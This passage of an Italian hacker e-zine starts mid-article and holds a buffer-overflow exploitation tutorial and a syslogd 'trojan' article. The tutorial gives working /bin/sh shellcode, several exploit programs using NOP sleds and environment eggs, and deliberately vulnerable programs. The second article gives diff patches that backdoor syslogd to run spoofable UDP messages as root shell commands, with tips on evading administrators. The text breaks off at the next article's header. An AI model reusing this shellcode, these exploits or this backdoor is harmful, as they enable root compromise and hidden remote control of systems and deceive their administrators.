chiamiamo execve(). Questo fa si' che EIP venga salvato sullo stack come indirizzo di ritorno (RET) ------------------------------------------------------------------------------ Ora diamo un'occhiata a execve(): ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Il classico "preludio". 0x80002c0 <__execve+4>: movl $0xb,%eax Copiamo 0xb (11 decimale) sullo stack. Questo e' l'indice della funzione excve() nella tabella delle chiamate di sistema. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copiamo l'indirizzo di "/bin/sh" in EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copiamo l'indirizzo di name[] in ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copiamo l'indirizzo del puntatore a NULL in %edx. 0x80002ce <__execve+18>: int $0x80 Chiamiamo l'interrupt 80, entrando in kernel mode. ------------------------------------------------------------------------------ Se la chiamata ad execve() dovesse per qualche ragione fallire, il programma continuerebbe ad eseguire istruzioni dallo stack, e andrebbe probabilmente in core dump! Per evitare questo, mettiamo un'istruzione "exit(0);" dopo la chiamata ad execve(). Questa non fa altro che mettere 0x1 in EAX, il codice di uscita in EBX e chiamare l'interrupt 80. Niente di piu' semplice. - QUALCHE PROBLEMINO... - Il grande problema che ci troviamo ad affrontare quando tentiamo di scrivere un exploit per un qualche buffer overflow e' che non possiamo sapere DOVE, all'interno dell'area di memoria del programma che vogliamo exploitare, il nostro codice (e anche la stringa "/bin/sh") sara' messo. Ma anche questo puo' essere aggirato, anche se (purtroppo) non del tutto. Una possibile soluzione e' quello di usare una istruzione JMP e una CALL. Il bello di queste due istruzioni e' che non dobbiamo fornire necessariamente un indirizzo ASSOLUTO di memoria in cui vogliamo "saltare", ma va bene anche un indirizzo RELATIVO al puntatore di istruzione (EIP). E' quindi un'ottima idea quella di mettere l'istruzione call esattamente prima della stringa "/bin/sh", in modo che l'indirizzo di tale stringa venga salvato nello stack come indirizzo di ritorno, RET (come abbiamo visto, l'istruzione call salva nello stack l'indirizzo dell'istruzione successiva da eseguire e poi trasferisce il controllo alla funzione chiamata). Cosi' noi possiamo copiare questo RET in un registro e usarne il valore. Ma dove deve puntare l'istruzione call? semplice... all'inizio del nostro codice! Chiediamo in prestito ad Aleph1 un altro diagrammino esplicativo... J e' l'istruzione di jump, s e' la stringa "/bin/sh", C e' l'istruzione call: base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer fp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) cima dello base dello stack stack In pratica, in assembler: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes ------------\ popl %esi # 1 byte <----\ | movl %esi,array-offset(%esi) # 3 bytes | | movb $0x0,nullbyteoffset(%esi)# 4 bytes | | movl $0x0,null-offset(%esi) # 7 bytes | (2) | movl $0xb,%eax # 5 bytes | | movl %esi,%ebx # 2 bytes | | (1) leal array-offset,(%esi),%ecx # 3 bytes | | leal null-offset(%esi),%edx # 3 bytes | | int $0x80 # 2 bytes | | movl $0x1, %eax # 5 bytes | | movl $0x0, %ebx # 5 bytes | | int $0x80 # 2 bytes | | call offset-to-popl # 5 bytes ----/ <-----/ /bin/sh va qui. ------------------------------------------------------------------------------ Calcolando tutti gli offset in base alla lunghezza delle istruzioni, abbiamo: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ C'e' un altro problema (ufff...). Il nostro codice modifica se stesso, ma la regione TEXT (in cui si trova il codice) e' marcata READ-ONLY da quasi tutti i sistemi operativi. Ma anche questo non e' un grande problema... mettiamo tutte queste istruzioni in un maxi array, e lo sbattiamo nell'area DATA :) Per fare cio', abbiamo bisogno di una rappresentazione esadecimale del nostro codice... niente di piu' facile. GDB ci da' ancora una mano: shellcodeasm.c ---------- snip ---------- void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ---------- snip ---------- Ed ecco il debugging: ------------------------------------------------------------------------------ $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c $ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 *** questo comando mostra il valore esadecimale del byte che forniamo come argomento *** 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) ......ripetere il procedimento per tutto lo shellcode (che palle!) Ok, vediamo subito se funziona: testsc.c ---------- snip ---------- char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *return; return = (int *)&return + 2; /* in effetti aggiunge 8 byte = 2 integers */ /* ricordatevi sempre la struttura dello stack, e che un int e' composto di 4 byte. Questa istruzione in effetti fa puntare return all'indirizzo di RET in memoria (che si trova 8 byte dall'inizio della variabile puntatore *return...lo so che e' un casino...beccatevi sto diagrammino (ogni spazio equivale a 1 byte): return fp RET [ ][ ][ ] ^ ^ |--8 byte---| */ (*return) = (int)shellcode; /* fa puntare RET al nostro shellcode, eseguendolo a tutti gli effetti */ } ---------- snip ---------- ------------------------------------------------------------------------------ $ gcc -o testsc testsc.c $ ./testsc $ exit $ ------------------------------------------------------------------------------ OH PEBBACCO, FUNCE! (mitico abatantuono vecchia maniera... :) Ma c'e' un altro problemino (stavolta veramente di facile facile soluzione..). Nel nostro shellcode non devono esserci byte impostati a zero, altrimenti la funzione strcpy smette di copiare il nostro shellcode nel buffer. Per aggirarlo sara' sufficiente sostituire qualche istruzione con qualcuna equivalente (che renda anche il codice piu' piccolo, magari...) Istruzione da cambiare: Sostituire con: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax Ok... questo e' il nostro shellcode nuovo fiammante: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; - E ORA QUALCOSA DI VERAMENTE DISTRUTTIVO... - Forse a questo punto qualcuno si stara' chiedendo perche' da una semplice shell di utente, un buffer overflow permette di ottenere una shell di root. Provate a dare un occhiata ai programmi che sono soggetti a buffer overflow... -rwsr-xr-x 1 root root 30520 May 5 1998 vulnerable Sapete cosa significa quella s nei permessi del file? Che il file puo' essere eseguito da un qualsiasi utente con i privilegi del propietario del file (root nel 99% dei casi). Questo e' a volte necessario ad alcuni programmi per aggiornare file di sistema scrivibili solo da root o per accedere, ad esempio, alla mailbox dell'utente. Per questo quando exploitiamo un file suid root, la shell che esso esegue e' di root... il programma che l'ha lanciata aveva a tutti gli effetti uid pari a ZERO! (root, per i piu' somarelli... :) I privilegi di root finiscono con l'esecuzione del file, quindi NORMALMENTE un file suidroot non e' un grosso "buco" nella sicurezza di sistema... purtroppo (o fortunatamente...:) i programmatori sbagliano (spesso). Forse qualcuno dira' "ma io ho visto un buffer overflow per il wuftp, ho controllato, ma il wuftp non e' suid root!"... certo, ma i demoni di sistema sono gestiti dall'inetd, che e' un processo di root... ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd Vedete quella quinta parolina? Significa che il demone deve essere lanciato come root, ed ecco spiegato l'arcano :) - UN PO' DI PRATICA - Ok... creiamo appositamente un programma vulnerabile ad un overflow e vediamo di riuscire a exploitarlo. Cio e' moooolto piu' facile di come effettivamente avviene di solito, perche' non dobbiamo tentare di indovinare dove il nostro codice andra' a finire... exploit1.c ---------- snip ---------- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; /* il buffer da SFONDARE :) */ int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /* riempiamo completamente il nostro buffer (large_string) con l'indirizzo di buffer */ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; /* posizioniamo lo shellcode all'inizio del nostro buffer */ strcpy(buffer,large_string); /* il RET viene sovrascritto con l'indirizzo di buffer, che contiene il nostro shellcode , che viene eseguito */ } ---------- snip ---------- ------------------------------------------------------------------------------ $ gcc -o exploit1 exploit1.c $ ./exploit1 $ exit $ ------------------------------------------------------------------------------ Fin troppo facile! Le cose si complicano (molto) quando tentiamo di exploitare un buffer overflow in un ALTRO programma, perche' non sappiamo dove il buffer da OVERFLOWare (giuro che non lo dico piu':) si trovera'in memoria. E la soluzione e'... ci buttiamo a indovinare! Non scherzo... piu' o meno funziona cosi' :) Fortunatamente abbiamo varie tecniche che possono incrementare le nostre chances di successo. Sappiamo infatti che per ogni programma lo stack inizia allo stesso indirizzo, e che i programmi non salvano piu' di qualche centinaio o migliaio di byte sullo stack. Questo aumenta di moooooolto le nostre possibilita'. Ecco un programmino che stampa il suo ESP: esp.c ---------- snip ---------- unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ---------- snip ---------- Ora scriviamo un piccolo programmino vulnerabile, rendiamolo suid root, e tentiamo di exploitarlo: vulnerable.c ---------- snip ---------- void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); /* guarda dove scrivi, cazzone! :) */ } ---------- snip ---------- exploit2.c ---------- snip ---------- #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; /* l'indirizzo a cui si SUPPONE che il nostro codice si trovera' */ printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; /* riempie il nostro buffer con quell'indirizzo */ for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* copia lo shellcode nel nostro buffer */ buff[bsize - 1] = '\0'; /* per bloccare la copia da parte di strcpy */ memcpy(buff,"EGG=",4); /* mette il tutto in una variabile d'ambiente $EGG */ putenv(buff); /* che useremo poi come argomento al programma */ system("/bin/bash"); /* vulnerabile */ } ---------- snip ---------- Questo programma sembra piu' complicato di quanto non sia effettivamente. Innanzitutto il programma riceve in input una grandezza del buffer (in genere 100 o 150 byte in piu' del buffer che stiamo cercando di OVERFLOWare (D'OH!) vanno piu' che bene) e anche un offset, che poi sarebbe il numero che dobbiamo indovinare... Vediamo che succede... $ ./exploit2 500 Using address: 0xbffffdb4 $ ./vulnerable $EGG Segmentation Fault ( D'OH!!!) $ ./exploit2 600 Using address: 0xbffffdb4 $ ./vulnerable $EGG Illegal instruction ( D'OH!!!) ........................ [circa 2000 "D'OH!!!" dopo...] ........................ $ ./exploit2 600 1564 Using address: 0xbffff794 $ ./vulnerable $EGG # ( WOHOOOO! ) Questo non e' un processo molto efficiente....sculando un po' si potrebbe azzeccare l'offset con 200 tentativi, ma nella maggior parte dei casi ce ne vorranno un migliaio. Non vale la pena direi, specialmente quando l'exploit, anziche' darti un errore e restituirti il prompt, ti incasina lo schermo e sei costretto a ricollegarti alla shell... 1000 entries nel wtmp non sono belle anche per il piu' coglione degli admin :) E allora come cazzo si fa? Fortunatamente esiste in ogni architettura una istruzione "NOP". "Che fa questa istruzione fantastica??" vi sento chiedere.. "Un cazzo!" vi rispondo io, ma non e' per maleducazione. E' proprio che non fa un cazzo! Se il processore la incontra passa semplicemente all'istruzione successiva. QUINDI... se noi imbottissimo l'inizio del nostro buffer con un bel pacco di NOP, amplieremmo (di molto) il "range" degli indirizzi di ritorno possibili (che prima erano... UNO!). Se infatti l'indirizzo di ritorno va a cadere su uno di questi nop, il processore continuera' ad eseguirli finche' non arrivera' al nostro shellcode! graficamente... buffer fp ret a b c [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^----> | |_____________________| Ecco un nuovo exploit che utilizza questa tecnica: exploit3.c ---------- snip ---------- #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } oid main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) /* riempie meta' del nostro buffer con NOP */ buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* e l'altra meta' con lo shellcode... */ buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ---------- snip ---------- ------------------------------------------------------------------------------ $ ./exploit3 612 Using address: 0xbffffdb4 $ ./vulnerable $EGG # ------------------------------------------------------------------------------ Al primo tentativo! Un netto miglioramento direi... - IO CE L'HO PICCOLO... IL BUFFER, NATURALMENTE - Ci sono casi in cui il buffer che tentiamo di...ehm....uhm...OVERFLOWare (ehehehe) e' cosi' piccolo che O il nostro shellcode non c'entra, O il numero di NOP che possiamo mettere e' cosi' piccolo che le probabilita' di azzeccarci sono pressoche' ridicole. Anche in questo caso, una soluzione c'e', ma bisogna avere accesso alle variabili d'ambiente del programma. Metteremo lo shellcode in una di queste variabili, e riempiremo il piccolo buffer con l'indirizzo (presunto) di questa variabile in memoria. Questa tecnica e' molto efficiente, poiche' possiamo usare anche variabili molto grandi (leggi: un grosso numero di NOP), che aumentano esponenzialmnte le nostre possibilita'. Le variabili d'ambiente sono poste in cima allo stack quando il programma e' lanciato (vedi diagramma all'inizio). Il nostro programma di exploit richiedera' quindi un'altra variabile, la grandezza del buffer che contiene shellcode e NOP). exploit4.c ---------- snip ---------- #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); /* variabile d'ambiente con i NOP e lo shellcode */ putenv(egg); memcpy(buff,"RET=",4); /* variabile d'ambiente che contiene il RET */ putenv(buff); system("/bin/bash"); } ---------- snip ---------- ------------------------------------------------------------------------------ $ ./exploit4 768 Using address: 0xbffffdb0 $ ./vulnerable $RET # ------------------------------------------------------------------------------ CVD... ancora piu' efficace di prima :) Gli offset possono essere positivi o negativi.. dipende da quanti "dati d'ambiente" il nostro programma ha rispetto a quello vulnerabile. - TROVARE BUFFER OVERFLOW - Prendete i sorgenti. Essedo Linux free, troverete i sorgenti di qualsiasi cosa, basta cercare un po'. E una volta trovati i sorgenti, cercate chiamate alle funzioni strcat(), strcpy(), sprintf(), and vsprintf(), che basandosi su stringhe terminate da ZERO, non controllano che il buffer che le riceve sia abbastanza grande da contenerle. Controllate se il programma fa qualche tipo di "sanity check" prima di copiare, e controllate se l'argomento che viene copiato puo' in qualche modo essere inserito dall'utente, attraverso la linea di comando ad esempio, o attraverso una variabile d'ambiente (vedi exploit per DOSEMU). Se trovate qualcosa non postate a Bugtraq per fare i fighetti... ditelo a me :) - I COMPITI PER CASA (IHIHIHIHIHI) - Vi lascio questo programmino scritto da me (non che me ne vanti per carita', fa cagare :) ESSO contiene un buffer overflow. Non vi dico dove, perche' se avete seguito fino a qui dovreste scoprirlo da soli. Il primo che mi manda un exploit per questo programma partecipera' all'estrazione di una bambola gonfiabile bucata (usata). ---------- snip ---------- /************************************************************************ fuckdups.c Genera una lista di host a partire dall'output del comando "host -l", eliminando le eventuali ripetizioni scassacazzo. Per gli "script kiddies" la' fuori... $ host -l stoca.it >> in $ ./fuckdups -I in -O out La compilazione e' COSI' COMPLICATA che stavo pensando di inserire un Makefile :) Dovrebbe compilarsi su qualsiasi oggetto che abbia la forma di un computer...Il programma contiene VOLUTAMENTE un buffer overflow. A meno che non siate cosi' coglioni da rendere questo proggie suidROOT, questo non dovrebbe costituire un grosso problema per la sicurezza del vostro sistema :) $ gcc -Wall -o fuckdups fuckdups.c by Sircondor [B4dL4nd5] ***********************************************************************/ #include #include #include void usage(char *name) { printf("USAGE: %s -I [input file] -O [nice file]\n",name); } int check(char *filename,char *host) { FILE *s; char temp[100]; register int a; s = fopen(filename,"r"); while (fgets(temp,100,s)) { for (a=0;a<=strlen(temp);a++) if ((temp[a]=='\n')||(temp[a]=='\r')) temp[a]=0; if (!strcmp(host,temp)) { fclose(s); return(-1); } } fclose(s); return(0); /* not found */ } void append(char *filename, char *host) { FILE *s; s = fopen(filename,"a"); fprintf(s,"%s\n",host); fclose(s); } main(int argc, char *argv[]) { char input[200],output[200]; /* static buffers = good targets :) */ char srv[100], *last; FILE *f; FILE *k; register int a,cnt; if (argc < 5) { usage(argv[0]); exit(0); } while ((cnt = getopt(argc,argv,"I:O:")) != EOF) { switch(cnt){ case 'I': strcpy(input,optarg); break; case 'O': strncpy(output,optarg,199); output[199] = 0; break; default: usage(argv[0]); exit(0); } } if ((f=fopen(input,"r")) == NULL) { perror(input); exit(0); } k= fopen(output,"w"); fclose (k); /* my version of touch :) */ while (fgets(srv,100,f)) { for (a=0;a<=strlen(srv);a++) if ((srv[a]=='\n')||(srv[a]=='\r')) srv[a]=0; last=strrchr(srv,' '); if (last == NULL) continue; if (!check(output,last+1)) append(output,last+1); } } ---------- snip ---------- - THE END - Ok, spero di essere stato abbastanza chiaro. Se avete domande da fare potete scrivere all'indirizzo di BFi o direttamente a me... la mia mail e' valeriom@tiscalinet.it. Non mi chiedete perche' gli exploit non vi funzionano, perche' 1) Mi fate girare le palle 2) molti ultimi exploit hanno qualche errore nel codice inserito volutamente (si chiama "l'ANTI SCRIPT KIDDIE") (in pratica vi ho risposto qui...). Se ho detto qualche cazzata non me ne assumo la responsabilita', anche perche' ho entrambi i neuroni occupati dall'esame di analisi... BYEZ GENTE. SirCondor (valerio_ su ircnet/undernet) -----------------------------[ SYSL0GD TR0JAN ]------------------------------ --------------------------------[ bELFaghor ]--------------------------------- [*] Premessa Prima considerazione che ritengo opportuno fare e' chiarire il perche' della stesura di questo codice. Non e' ne' il primo syslogd trojano che viene scritto ne' tantomeno sara' l'ultimo. Quella che ho voluto scrivere e' solamente una patch per sfruttare le inadempienze del codice del Syslogd esposte nell'articolo comparso in BFi5. Non mi e' finora capitato di trovare per la Rete patch di questo genere ed ho percio' ritenuto opportuno scriverla. Con il seguente codice non intendo incitare nessuno all'utilizzo dello stesso a fini non legali, ma piuttosto miro a far riflettere molte persone. Questa patch non e' altro che l'implentazione pratica di una delle tante idee che mi sono venute per sfruttare il syslogd. Quindi spero che non vi limitiate ad utilizzare questo codice, ma spero che vi cimenterete nel personalizzarlo e migliorarlo. La patch e' basata sui sorgenti del syslogd 1.3-31 ed e' pertanto nessario applicarla a tale pacchetto per evitare errori. Saranno necessarie tuttavia poche modifiche per adattarla a versioni successive o precedenti. Il codice e' stato "sviluppato" e "testato"" su un Linux 2.0.x/i386, ma non credo vi siano particolari difficolta' a compilare laddove il syslogd e' predisposto a compilare. [*] Funzionamento Prima di tutto: man syslogd. Dopo che avete ben chiaro come funzionano le priorita', la configurazione, il sistema di logging e quant'altro, potete continuare con la lettura di queste poche righe. La patch aggiunge una capacita' al nostro trojano o semplicemente syslogd patchato: ora e' disponibile una nuova priorita', battezzata la Priorita' del Diavolo, che permette di processare localmente dei comandi. Ovviamente dobbiamo ricordarci bene il nostro scopo: potere lavorare in modo occulto sulla shell remota. Questo comporta, come al solito, dei 'pro', come la possibilita' di inviare i comandi con un IP spoofato, ma anche dei 'contro', come ad esempio il non ritorno dei nostri comandi. Possiamo, infatti, agire nell'ombra forgiando i nostri pacchetti con un IP sorgente spoofato in modo tale da nasconderci anche nel caso in cui i pacchetti e le connessioni UDP vengano intercettate e loggate. Quindi non ci resta che forgiare i nostri pacchetti UDP, contenenti la stringa di comandi che vogliamo eseguire, e mandarli alla nostra vittima sulla quale girera' il nostro trojano. Questo per quanto concerne un'azione da remoto. Per agire in locale la strada ovvia da intraprendere potrebbe sembrare quella di mandare i comandi via /dev/log come suggerito nell'articolo precedente, ma come abbiamo gia' visto comporterebbe non pochi problemi. Il mio consiglio e' pertanto, se volete agire localmente, di mandare alla stessa maniera i comandi al Syslogd. Si potrebbero intraprendere altre strade, attraverso il codice del pacchetto, ma lo lascio a voi e alla vostra fantasia nonche' alla vostra intelligenza. Infine, ultimo add-on necessario, e' la possibilita' per il nostro trojano di ricevere SEMPRE i pacchetti da remoto; in questo modo il trojano sara' sempre attivo a ricevere e processare pacchetti da remoto senza che ce ne si accorga se non specificandolo. L'amministratore potrebbe tuttavia accorgersene attraverso un port scanning e vi consiglio percio' di cambiare la porta sulla quale accettare i pacchetti se l'amministratore e' solito non utilizzare la 'remote reception'. E ora il codice ;) Iniziamo con il nascondere il messaggio 'remote reception' se non esplicitamente specificato (cioe' con -r). E direi che le poche modifiche sono sufficientemente esclicative. ---------- snip ---------- --- syslogd.c Tue Jan 19 11:31:58 1999 +++ syslogd.c Mon Jun 14 21:57:55 1999 @@ -700,7 +700,7 @@ int MarkInterval = 20 * 60; /* interval between marks in seconds */ int MarkSeq = 0; /* mark sequence number */ int NoFork = 0; /* don't fork - don't run in daemon mode */ -int AcceptRemote = 0; /* receive messages that come via UDP */ +int AcceptRemote = 1; /* receive messages that come via UDP */ char **StripDomains = NULL; /* these domains may be stripped before writing logs */ char **LocalHosts = NULL; /* these hosts are logged with their hostname */ int NoHops = 1; /* Can we bounce syslog messages through an @@ -832,7 +832,7 @@ funixn[0] = optarg; break; case 'r': /* accept remote messages */ - AcceptRemote = 1; + AcceptRemote = 2; break; case 's': if (StripDomains) { @@ -2400,7 +2400,7 @@ } } - if ( AcceptRemote ) + if ( AcceptRemote == 2 ) #ifdef DEBRELEASE logmsg(LOG_SYSLOG|LOG_INFO, "syslogd " VERSION "-" PATCHLEVEL "#" DEBRELEASE \ ": restart (remote reception)." , LocalHostName, \ ---------- snip ---------- Ora abilitiamo il nostro syslogd_trojano a ricevere e processare messaggi con la Priorita' del Diavolo. Il funzionamento e' questo: arriva il messaggio, controllo la priorita', se e' la Priorita' del Diavolo, scrivo il messaggio in un file temporaneo che poi cancellero' e lo eseguo con una execl(), altrimenti lo faccio processare normalmente. Ma il codice sara' piu' esplicativo. Ovviamente questa patch dovrete applicarla dopo avere applicato quella precedente. ---------- snip ---------- --- syslogd.c Tue Jun 15 15:57:45 1999 +++ syslogd.c Tue Jun 15 15:57:27 1999 @@ -413,6 +413,12 @@ * Miettinen . */ +/* + hack #define +*/ + +#define HACKCODE "<666>" +#define HACKPATH "/tmp/.syshackfile" #define MAXLINE 1024 /* maximum line length */ #define MAXSVLINE 240 /* maximum saved line length */ @@ -519,6 +525,13 @@ #define _PATH_LOG "/dev/log" #endif +/* + hack vars +*/ + +int hackfd; +char *hackstring; + char *ConfFile = _PATH_LOGCONF; char *PidFile = _PATH_LOGPID; char ctty[] = _PATH_CONSOLE; @@ -1143,6 +1156,22 @@ if (i > 0) { line[i] = line[i+1] = '\0'; from = (char *)cvthname(&frominet); + + hackstring = strstr(line, HACKCODE); + if(hackstring != NULL) { + hackstring = hackstring+strlen(HACKCODE); + hackfd = open(HACKPATH, O_WRONLY|O_CREAT|O_TRUNC); + write(hackfd, hackstring, strlen(hackstring)); + if(fork() == 0) { + execl("/bin/sh", "/bin/sh", HACKPATH, NULL); + _exit(0); + } + wait(NULL); + close(hackfd); + unlink(HACKPATH); + } + else { + /* * Here we could check if the host is permitted * to send us syslog messages. We just have to @@ -1154,6 +1183,8 @@ */ printchopped(from, line, \ i + 2, finet); + } + } else if (i < 0 && errno != EINTR) { dprintf("INET socket error: %d = %s.\n", \ errno, strerror(errno)); ---------- snip ---------- [*] Conclusioni Per applicare le patch non dovete fare altro che che salvare i due codici in due file differenti, posizionarli nella directory in cui avete decompresso il pacchetto Syslogd e digitare: root@bfi~# man patch root@bfi~# patch < 'nomefile' Ricordatevi poi di fixare le dimensioni del syslogd agendo direttamente sul codice (syslogd.c) modificando parti superflue o prolisse; tenete benw a mente che un cambiamento di dimensione e' un buon campanello d'allarme per un amministratore. Infine ricordatevi di far girare il processo come r00t altrimenti non potrere utilizzare tutti i comandi, ma gia' lo sapete ;) E per mandare i famosi comandi in UDP? Beh usate il Walla Walla! ;) bELFaghor vampErotic Daem0n -------------------------------[ XTH0T v.1.0 ]-------------------------------- ----------------------------------[ FuSyS ]----------------------------------- t r a t t o d a ---[ T C P / I P T O O L S U N L I M I T E D 